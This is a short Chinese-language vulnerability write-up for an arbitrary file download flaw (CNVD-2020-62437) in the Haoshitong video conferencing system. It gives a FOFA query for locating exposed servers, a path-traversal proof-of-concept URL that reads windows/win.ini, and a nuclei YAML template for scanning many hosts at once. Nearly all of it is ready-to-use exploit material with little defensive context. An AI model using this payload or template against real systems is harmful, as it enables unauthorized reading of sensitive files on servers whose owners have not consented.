漏洞描述
银澎云计算 好视通视频会议系统 存在任意文件下载，攻击者可以通过漏洞获取敏感信息
漏洞复现
fofa语法：app="好视通-视频会议"
登录页面如下：
POC:https://xxx.xxx.xxx.xxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini
nuclei批量yaml文件
id: haoshitong_fileread
info:
name: 好视通视频会议系统 任意文件下载 CNVD-2020-62437
author: mhb17
severity: high
description: description
reference:
- https://peiqi.wgpsec.org/wiki/webapp/%E9%93%B6%E6%BE%8E%E4%BA%91%E8%AE%A1%E7%AE%97/%E9%93%B6%E6%BE%8E%E4%BA%91%E8%AE%A1%E7%AE%97%20%E5%A5%BD%E8%A7%86%E9%80%9A%E8%A7%86%E9%A2%91%E4%BC%9A%E8%AE%AE%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%20CNVD-2020-62437.html
tags: tags
requests:
- raw:
- |+
GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
matchers-condition: and
matchers:
- type: word
part: body
words:
- for 16-bit app support
- type: word
part: header
words:
- '200'